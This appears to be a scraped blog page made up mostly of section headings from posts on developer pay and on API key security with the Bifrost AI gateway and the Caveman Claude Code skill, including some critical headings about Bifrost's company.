The Developer Pay Paradox: Are Junior Devs, Staff Engineers and Most Developers Over- or Under-paid?

Table Of Contents

The Real Question

Why I’m Comparing These Jobs At All

The Pay Numbers That Start The Argument

Salary Comparison Graphic

Why A Junior Dev Can Make More Than People Doing Harder Work

Roofing Compared To Software Development

Army Medic Work Compared To Software Development

Private Security Compared To Software Development

Warehouse And Manual Labor Compared To Software Development

Teaching Compared To Software Development

Do Most Developers Even Do DSA?

Is Web Development Skilled Trade Work With A Keyboard?

Are Junior Developers Overpaid?

Are Mid-Level Developers Fairly Paid?

Are Staff Engineers Overpaid?

Where AI Changes The Pay Conversation

The Three Different Developer Economies

The Honest Answer

Sources

Why I’m Cautious About AI Gateways After My Bifrost Collaboration

My personal experience testing Maxim AI’s Bifrost gateway left me uneasy. Here’s what happened, what I learned, and why I’m putting security first in future projects.

How I got here

The part that made me uncomfortable

Why this matters more for solo developers

My issue is not only technical

What I verified

The API key question

Bifrost’s security model still requires trust

Why Caveman felt different to me

JuliusBrussee / caveman

🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman

caveman

Before / After

🗣️ Normal Claude (69 tokens)

Bifrost vs Caveman is not a perfect comparison

What I would do differently next time

My current rule for AI tools

Final thought

Research: Bifrost (Maxim AI / H3 Labs Inc.) – Why Its “Governance” Architecture Is a Single Point of Failure for Solo American Web Devs

1. Company Structure: A Classic Delaware Shell Entity

2. The Core Architectural Risk: Everything Routes Through One Control Plane

3. Overhyped Benchmarks vs Real-World Solo Dev Use

4. The Predatory Outreach Pattern to Indie Devs

5. Caveman Is the Honest, Zero-Trust Alternative

Bottom Line from the Research

Protect Your API Keys: Evaluating AI Tools Like Bifrost and Caveman

A practical guide on safeguarding API keys when using third-party AI tools, with a look at how Caveman and Bifrost approach security and where they fit into a developer’s stack.

maximhq / bifrost

Fastest enterprise AI gateway (50x faster than LiteLLM) with adaptive load balancer, cluster mode, guardrails, 1000+ models support & <100 µs overhead at 5k RPS.

Bifrost AI Gateway

The fastest way to build AI applications that never go down

Quick Start

JuliusBrussee / caveman

🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman

caveman

Before / After

🗣️ Normal Claude (69 tokens)

Why API keys matter

The scary version of this problem

How I check AI tools before trusting them

Where Bifrost fits

What Bifrost says about key handling

Basic Bifrost local setup

What Bifrost is good for

Where Bifrost makes me cautious

Where Caveman fits

JuliusBrussee / caveman

🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman

caveman

Before / After

🗣️ Normal Claude (69 tokens)

Caveman before and after

Caveman benchmarks

Caveman-compress

Caveman security notes

Bifrost vs Caveman

The useful combo